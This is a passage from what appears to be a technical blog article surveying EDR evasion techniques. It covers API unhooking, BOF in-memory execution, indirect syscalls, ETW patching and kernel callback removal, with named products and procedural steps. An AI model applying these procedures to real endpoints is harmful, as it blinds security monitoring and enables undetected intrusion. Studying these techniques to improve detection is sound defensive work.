Following formal authorization from the client, a third-party security company conducted a red team assessment of the client’s corporate network. Upon discovering that the EDR could be bypassed via a specific thread-pool abuse technique, the testers immediately ceased exploitation, preserved log evidence, and notified the vendor through a responsible vulnerability disclosure process. The objective was to drive improvement in the vendor’s detection logic rather than to exploit the weakness for malicious purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Academic Value and Ethical Responsibility of Technical Research&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This study conducts an in-depth analysis of EDR evasion techniques with the aim of exposing potential weaknesses in current defensive architectures, driving security vendors to optimize detection algorithms, and promoting a virtuous cycle of “attack-informed defense.” Security practitioners must consistently maintain a strong sense of ethical responsibility, strictly adhere to industry standards, promptly disclose vulnerabilities to vendors (in accordance with CVE/CVSS standards), and contribute to the establishment of responsible vulnerability disclosure mechanisms.  &lt;/p&gt;

&lt;p&gt;Future adversarial contests will no longer consist merely of signature-based confrontations but will evolve into comprehensive intelligent competition and ecosystem-wide penetration. Only by ensuring that technical development remains firmly within legal and compliant boundaries can a truly high-resilience cybersecurity defense system be constructed. Any attempt to cross legal boundaries not only invites legal sanctions but also undermines the foundational trust of the entire security industry.&lt;br&gt;
&lt;br&gt;&lt;br&gt;
&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;2. Core Evasion Technique Principles and Implementations&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;In modern endpoint security defense architectures, EDR (Endpoint Detection and Response) and AV (Antivirus) solutions have largely moved beyond reliance on signature-based matching and now employ deep defense mechanisms centered on behavioral monitoring, memory scanning, and kernel callbacks. To evade such detection, attackers have developed a range of low-level bypass techniques.  &lt;/p&gt;

&lt;p&gt;This section provides a detailed examination — across five principal dimensions — of the technical principles, implementation logic, and real-world adversarial effectiveness of the following techniques:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;API Unhooking
&lt;/li&gt;
&lt;li&gt;BOF (Beacon Object File) in-memory execution
&lt;/li&gt;
&lt;li&gt;Indirect / direct system calls
&lt;/li&gt;
&lt;li&gt;ETW (Event Tracing for Windows) evasion
&lt;/li&gt;
&lt;li&gt;Kernel callback evasion&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;2.1 API Unhooking: Underlying Mechanisms for Bypassing Endpoint Detection&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;One of the core user-mode monitoring techniques employed by EDR products is API hooking. By inserting jump instructions (JMP) at the entry points of critical system DLLs (such as ntdll.dll and kernel32.dll), EDR solutions intercept application system calls, analyze parameters and calling context, and thereby identify malicious behavior. For example, when a malicious program invokes NtCreateProcessEx, the call flow is redirected to an EDR-injected DLL for behavioral analysis and judgment.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.1.1 Hooking Principles and Detection Logic&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Typical user-mode hooking techniques include Inline Hooking and Import Address Table (IAT) Hooking. Inline Hooking directly modifies the function prologue bytes by overwriting them with a jump instruction pointing to monitoring code. IAT Hooking modifies entries in the import address table. After the EDR driver loads, it injects a monitoring DLL into the target process address space and uses one or both of these techniques to take control of key APIs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frp5ykrszt2n1sqv829wo.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frp5ykrszt2n1sqv829wo.jpg" alt=" " width="800" height="516"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Under this architecture, any direct system call that bypasses EDR inspection is likely to be flagged as anomalous. Consequently, restoring the original, unmodified code of hooked APIs (Unhooking) has become a critical technique for evading user-mode monitoring.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.1.2 Unhooking Implementation Logic and Technical Variants&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;The primary objective of API Unhooking is to restore modified function code to its original state as it exists on disk. Three main technical variants are commonly employed to achieve this goal:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Memory-Scanning-Based Unhooking&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
This approach compares the in-memory code section of a loaded DLL against its on-disk original file (or a known clean version). If the function prologue in memory contains a JMP instruction that deviates from the disk image, it is identified as hooked. Implementation typically involves reading the corresponding ntdll.dll from disk, locating the function offset, and copying the pristine bytes back into memory. While conceptually straightforward, this method is easily detectable by EDR memory integrity checks.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Dynamic Restoration via Process Injection&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A clean system process (e.g., explorer.exe or svchost.exe) is used as a reference source. The attacker opens a handle to this process, reads the unhooked ntdll.dll code section from its memory space, and writes it into the corresponding memory locations of the currently monitored process. This technique circumvents inconsistencies arising from disk file versioning or patching, but it requires elevated privileges for cross-process memory operations.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Debug API–Based or Custom PE Loader Unhooking&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Some EDR solutions maintain hook persistence through debugging interfaces or specific flags. By invoking undocumented APIs or manipulating debugger-related interfaces (e.g., using NtSetInformationThread to hide debugger presence), it is possible to induce the EDR to remove its hooks. A more advanced and generic technique involves implementing a custom PE loader: when loading a DLL, the loader uses an already-present in-memory copy of the DLL as a reference base, performs relocation, and then copies the .TEXT section over the existing in-memory image, effectively refreshing it. This non-intrusive, reload-avoiding method achieves robust API Unhooking while minimizing compatibility issues associated with recursive system DLL loading.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.1.3 Real-World Case Study: Bypassing Bitdefender&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Testing against mainstream EDR solutions such as Bitdefender has revealed that its hooking points are primarily concentrated at the system call entry points within ntdll.dll. A typical bypass workflow includes the following steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Hook Identification&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Enumerate exported functions of ntdll.dll and inspect the first 15 bytes of each function. The presence of abnormal instructions — such as a direct JMP to a non-system address instead of the expected MOV R10, RCX; JMP sequence — indicates a hook.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Function Pointer Restoration&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Locate the hooked function (e.g., NtAllocateVirtualMemory) and load a clean copy of ntdll.dll from disk as the reference.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Memory Overwrite&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Use VirtualProtect to change the target memory page permissions to writable, then overwrite the in-memory function code with the pristine version from the disk image.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Permission Restoration&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Revert the page permissions to read-execute-only to avoid triggering memory protection alerts.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In specific versions of Windows 10 and 11, traditional Unhooking methods exhibit relatively high detection rates. However, when implemented comprehensively, such techniques significantly reduce the EDR’s ability to detect subsequent malicious behaviors. It should be noted that as EDR vendors increasingly incorporate kernel-level validation (e.g., kernel callback cross-verification of user-mode code integrity), purely user-mode Unhooking techniques are becoming less effective and must now be combined with kernel-level evasion methods to maintain viability.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;2.2 BOF In-Memory Execution: Stealthy Attack Chains Without Process Creation&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Beacon Object Files (BOF) represent a lightweight execution paradigm specifically designed for post-exploitation phases. Unlike traditional PE file execution, BOF is based on the Common Object File Format (COFF) and is engineered to achieve fileless, process-creation-free in-memory execution, thereby minimizing forensic footprints and behavioral disturbances on the target environment.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.2.1 BOF Technical Principles and Advantages&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;The core design philosophy of BOF is “minimal process perturbation.” Conventional PE execution typically entails disk writes, new process creation (e.g., via CreateProcess), and full PE image loading — all of which are highly likely to trigger EDR behavioral monitoring engines. In contrast, BOF offers several distinct advantages:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fileless execution (No disk writes)&lt;/strong&gt;: The code is loaded directly into memory without any disk I/O operations, thereby evading file-based scanning and creation alerts.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No new process creation&lt;/strong&gt;: Execution occurs entirely within the context of the current process, avoiding the generation of new process tree entries and associated logging events.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Modular architecture&lt;/strong&gt;: BOFs are typically implemented as small, purpose-specific functional modules (e.g., privilege escalation, network enumeration, credential access), loaded on-demand, which significantly reduces memory footprint and behavioral anomalies.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.2.2 Beacon Execution Flow and In-Memory Loader Mechanism&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;BOF execution generally relies on a C2 framework’s Beacon implant and its associated in-memory loader. The core workflow involves coordinated use of the following Windows APIs:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Memory Allocation&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Allocation of readable-writable-executable memory regions in either the current process or a remote process using VirtualAlloc or VirtualAllocEx.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Code Writing&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Transfer of the COFF-formatted shellcode into the allocated region via WriteProcessMemory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Execution Trigger&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Initiation of code execution through CreateRemoteThread, thread hijacking, or other thread-context manipulation techniques.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Although these APIs are legitimate Windows process-management interfaces commonly used by debugging and legitimate software, their invocation — particularly from unusual contexts such as Office processes calling VirtualAllocEx — is frequently flagged as anomalous by modern EDR solutions. Consequently, sophisticated BOF loaders commonly incorporate API Unhooking techniques to ensure that memory allocation and execution phases remain undetected.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.2.3 Modular Implementation and Real-World Application Scenarios&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;In practical adversarial operations, BOFs are developed as a library of specialized functional modules. For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Privilege escalation modules may directly manipulate token-related APIs to elevate the current process privileges.
&lt;/li&gt;
&lt;li&gt;Network reconnaissance modules invoke socket APIs to perform lateral movement and internal network discovery.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In environments protected by advanced EDR solutions such as CrowdStrike, traditional process injection techniques are readily detected. Consequently, operators increasingly favor the inline-execute command, which runs the BOF directly within the existing Beacon process context. The typical operational sequence is as follows:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;BOF Delivery&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The C2 server transmits the compiled COFF object file to the Beacon implant.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;COFF Parsing and Relocation&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The Beacon loader internally parses the COFF file, processes the relocation table, and adjusts addresses to ensure correct execution at the current memory base.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Direct Function Invocation&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The entry point of the BOF is called directly without spawning new threads or processes.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This approach yields substantial evasion benefits: EDR logs typically show no process creation events and may only record generic memory allocation activity. When further combined with manual DLL mapping techniques (avoiding LoadLibrary entirely), the probability of detection can be significantly reduced.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;2.3 Indirect System Calls: A Key Evasion Path Against Direct API Monitoring&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;System calls (syscalls) represent the sole interface through which user-mode applications interact with the kernel. Modern EDR solutions frequently monitor specific system calls — such as NtCreateThreadEx — to detect malicious activity. While direct system calls (Direct Syscalls) can bypass user-mode API hooks, the continued evolution of EDR kernel drivers means that even the invocation of specific syscall instructions can now be flagged as suspicious. Indirect system calls have therefore emerged as a more stealthy alternative.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.3.1 Indirect Invocation Mechanism and EDR Monitoring Logic&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;The core principle of indirect system calls is to initiate the syscall through function pointers, jump tables, or legitimate call chains rather than embedding the syscall instruction directly in the malicious code. Traditional EDR monitoring of direct API calls typically relies on hooking functions within ntdll.dll. When a program directly invokes NtCreateThreadEx, the call is intercepted by the hook.&lt;/p&gt;

&lt;p&gt;Indirect invocation constructs an obfuscated call chain such that the eventual syscall instruction appears within what appears to be a legitimate code path. For example, attackers may leverage internal call chains of legitimate kernel-exported functions (such as MmCopyVirtualMemory or other documented kernel APIs) to indirectly trigger the desired behavior. This approach significantly increases the difficulty for EDR solutions to accurately reconstruct and analyze the full call stack.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.3.2 Implementation Approaches and Conceptual Code Examples&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Indirect system calls are commonly implemented via two primary techniques:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Function Pointer Invocation&lt;/strong&gt;
Dynamically resolve the API address at runtime and store it in a function pointer, thereby avoiding static entries in the import address table. When combined with API Unhooking, this ensures the pointer references the original, unmodified function entry point.
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;   &lt;span class="c1"&gt;// Conceptual example: Invoking via function pointer&lt;/span&gt;
   &lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="nf"&gt;NTSTATUS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;NtAllocateVirtualMemory_t&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;
       &lt;span class="n"&gt;HANDLE&lt;/span&gt; &lt;span class="n"&gt;ProcessHandle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;PVOID&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;BaseAddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;ULONG_PTR&lt;/span&gt; &lt;span class="n"&gt;ZeroBits&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;PSIZE_T&lt;/span&gt; &lt;span class="n"&gt;RegionSize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;ULONG&lt;/span&gt; &lt;span class="n"&gt;AllocationType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;ULONG&lt;/span&gt; &lt;span class="n"&gt;Protect&lt;/span&gt;
   &lt;span class="p"&gt;);&lt;/span&gt;

   &lt;span class="n"&gt;NtAllocateVirtualMemory_t&lt;/span&gt; &lt;span class="n"&gt;pNtAllocate&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
       &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NtAllocateVirtualMemory_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GetModuleHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;L"ntdll.dll"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"NtAllocateVirtualMemory"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

   &lt;span class="c1"&gt;// Execute the call&lt;/span&gt;
   &lt;span class="n"&gt;pNtAllocate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;DLL Injection with Internal Jump Table&lt;/strong&gt;
Encapsulate the malicious logic within a DLL that is loaded by a legitimate process. The DLL internally uses a jump table or indirect calls to invoke system APIs, making it difficult for external monitoring tools to correlate the behavior back to the originating attack process.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Testing across different EDR products reveals varying effectiveness of indirect calls. For solutions that primarily rely on user-mode hooking (e.g., certain configurations of Wazuh), indirect invocation can substantially reduce detection rates. However, for EDR platforms equipped with advanced kernel-level behavioral analysis (e.g., SentinelOne), pure indirect calls may still be identified unless combined with additional techniques such as syscall parameter obfuscation or randomization. Research indicates that, under specific configurations, indirect invocation can significantly lower EDR detection rates for malicious thread creation, though it does not constitute a universal bypass.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.3.3 Evasion Effectiveness and Limitations&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;The primary advantage of indirect system calls lies in disrupting EDR monitoring that depends on fixed API call sequences or recognizable ntdll.dll entry points. However, several important limitations must be acknowledged:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Compatibility Challenges&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
System call numbers and parameter structures can vary across Windows versions and builds, necessitating dynamic resolution of syscall stubs at runtime.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Evolving Detection Capabilities&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Contemporary EDR solutions are beginning to monitor the frequency, context, and sequence of syscall instructions themselves. Anomalous patterns — such as consecutive invocations of sensitive APIs or unusual syscall density — can still trigger alerts.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Implementation and Maintenance Cost&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Constructing stable, reliable indirect call chains requires deep understanding of kernel internals, Windows internals, and EDR-specific behaviors. The development and upkeep of such techniques carry a high technical and operational cost.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In summary, while indirect system calls represent an important escalation in the sophistication of evasion techniques, they are increasingly countered by kernel-aware behavioral heuristics and anomaly detection models. Effective long-term evasion typically requires layering multiple complementary techniques rather than relying on any single method.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;2.4 ETW Evasion: Technical Pathways for Eliminating Event Tracing Artifacts&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Event Tracing for Windows (ETW) is a built-in Windows operating system facility originally designed for high-performance event logging, diagnostics, and performance analysis. In modern cybersecurity contexts, ETW has become a foundational data source for Endpoint Detection and Response (EDR) platforms, which heavily rely on it to capture critical system activities such as process creation, file system operations, network communications, and memory management events. Consequently, disabling, tampering with, or evading ETW has emerged as a critical technique for concealing malicious footprints during post-exploitation operations.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.4.1 Role of ETW in EDR Architectures&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;EDR solutions subscribe to specific ETW providers — most notably Microsoft-Windows-Threat-Intelligence, Microsoft-Windows-Kernel-Process, and others — to receive real-time telemetry streams. When malicious behavior occurs, corresponding ETW events are generated by the kernel or user-mode components and forwarded to the EDR agent or cloud backend for correlation, behavioral analysis, and alerting. The detection logic of ETW-based monitoring is highly granular, enabling the identification of subtle system state transitions that would otherwise remain invisible to conventional API monitoring.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.4.2 Evasion Techniques and Implementation Approaches&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;The primary objective of ETW evasion is to either prevent event generation at the source or interrupt the transmission of already-generated events to the EDR collection pipeline. The most commonly researched and observed techniques include:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disabling ETW Tracing per Process&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
By invoking NtSetInformationProcess with specific ProcessInformationClass values (such as ProcessDebugFlags combined with certain undocumented ETW-related flags), it is possible to suppress ETW event generation for the calling process. This technique effectively removes the process from ETW provider subscription scopes without requiring kernel privileges in many scenarios.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Pre-Execution Registry Modification&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Prior to process creation, attackers may modify registry keys associated with ETW providers (e.g., under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options or provider-specific tracing configuration paths) to disable logging for targeted providers or executables. This method generally requires administrative privileges and carries risks of system-wide side effects or detection through registry auditing.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;API Unhooking or Patching of ETW Write Functions&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Many EDR agents hook ETW-related APIs — particularly EtwEventWrite, EtwEventWriteFull, and EtwEventWriteTransfer — to intercept and forward events. By restoring the original function code (via Unhooking) or overwriting the function prologue with a simple RET instruction (immediate return), event write operations can be made to appear successful while silently discarding the payload. This prevents events from reaching the EDR telemetry pipeline.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.4.3 Real-World Validation Case Study&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;In a controlled test environment running Windows 11 22H2 with Microsoft Defender for Endpoint (real-time protection enabled and ETW logging fully operational), researchers conducted the following validation:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Environment Setup&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Verified that Defender was actively collecting ETW events from key providers, including process creation, image load, and network connect events.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Evasion Execution&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
During process initialization, a custom ETW suppression routine was invoked to patch the execution flow of EtwEventWrite within ntdll.dll, effectively neutering the event write operation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Outcome Analysis&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Execution of sensitive commands (e.g., PowerShell cradle downloading additional payloads) was performed. Subsequent inspection of the Windows Event Log (Microsoft-Windows-Threat-Intelligence/Operational) and Defender backend telemetry revealed that multiple expected ETW events were absent, breaking the behavioral correlation chain and preventing full attack chain reconstruction by the EDR.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It is important to note that ETW protection mechanisms continue to evolve with each Windows release. Certain high-value events are now generated directly by the kernel and transmitted through protected channels that are resistant to user-mode patching. As a result, purely user-mode ETW evasion techniques are becoming less reliable in isolation. Optimal effectiveness is typically achieved by combining ETW bypass with complementary methods, such as kernel callback suppression or alternative telemetry tampering. In laboratory settings targeting specific configurations, high evasion success rates are achievable; however, production environments demand careful evaluation of stability, side effects, and residual detectability risks.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;2.5 Kernel Callback Evasion: High-Risk Strategies for System-Level Bypassing&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Kernel callbacks constitute the core mechanism by which Endpoint Detection and Response (EDR) solutions monitor system behavior at the kernel level. By registering callback routines — such as PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine, or PsSetLoadImageNotifyRoutine — EDR drivers can intercept critical events including process creation, thread creation, and image (module) loading directly within the kernel. Compared to user-mode monitoring techniques, kernel callbacks are significantly more difficult to evade; however, when successfully bypassed, they provide the most comprehensive suppression of telemetry and the highest degree of stealth.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.5.1 Analysis of Kernel Callback Mechanisms&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;The Windows kernel exposes a set of notification callback interfaces that allow kernel-mode drivers to register interest in specific system events. Upon occurrence of a registered event, the kernel traverses the associated callback list (implemented as a linked list or similar structure) and invokes each registered routine in sequence. EDR drivers leverage this infrastructure to intervene at the earliest possible stage of an event lifecycle. For instance, when a malicious process attempts creation, the EDR’s callback function can inspect parameters, evaluate context, and — if deemed malicious — terminate the operation before user-mode execution ever begins.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.5.2 Evasion Techniques and Implementation Frameworks&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Techniques for bypassing kernel callbacks carry extremely high risk, frequently resulting in system instability or Blue Screen of Death (BSOD). The most commonly documented approaches include:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Direct Modification of Kernel Structures&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Through memory scanning, attackers locate kernel-resident callback lists (e.g., PspCreateProcessNotifyRoutine, ObpLdrpLoadImageNotifyRoutine). With kernel read/write privileges — typically obtained via privilege escalation exploits or loading of a signed but vulnerable driver — the attacker directly manipulates list pointers to remove or nullify the EDR driver’s callback entry. This method requires precise knowledge of kernel memory layout and version-specific offsets.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Malicious Kernel Driver Injection&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A custom malicious driver is loaded into kernel space (often via a signed vulnerable driver or exploit). Once resident, the driver enumerates the callback list, identifies the target EDR callback routine by address signature or module association, and either zeros the pointer, replaces it with a benign stub function, or unlinks the entry entirely.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Abuse of Undocumented or Internal APIs&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Certain undocumented kernel APIs or exported functions can be reverse-engineered to manage callback registration and deregistration. Attackers invoke these routines to forcibly unregister the EDR’s callbacks, effectively removing them from the notification chain without direct structure tampering.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmbfercfr02w60uhgag8h.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmbfercfr02w60uhgag8h.jpg" alt=" " width="800" height="1513"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;2.5.3 Real-World Case Study and Risk Assessment&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;In controlled testing against a specific commercial EDR product, researchers achieved bypass of process creation notification through the following sequence:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Kernel Privilege Acquisition&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Exploitation of a local privilege escalation vulnerability to load a malicious kernel driver.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Callback Chain Location&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Signature-based scanning of kernel memory to identify the address of the process creation notification callback list.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Chain Modification&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Enumeration of the linked list, comparison of callback function pointers against known EDR module ranges, and surgical removal of the matching entry.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Post-Bypass Execution&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Successful creation and execution of a malicious process with no corresponding notification reaching the EDR agent, resulting in absence of alerts.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Despite the technical success, such operations carry severe risks. Direct manipulation of kernel control structures frequently destabilizes the system, leading to immediate crashes or delayed corruption. Moreover, contemporary EDR platforms increasingly implement callback list protections — including encryption of list entries, periodic integrity verification, pointer obfuscation, and kernel patchguard-like monitoring — rendering naive modifications highly detectable. Consequently, kernel callback evasion is widely regarded as a high-risk, last-resort strategy, reserved for high-value targets or controlled research environments. In real-world adversarial engagements, operators overwhelmingly favor layered user-mode evasion techniques to minimize detection probability and avoid catastrophic system disruption.&lt;br&gt;
&lt;br&gt;&lt;br&gt;
&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
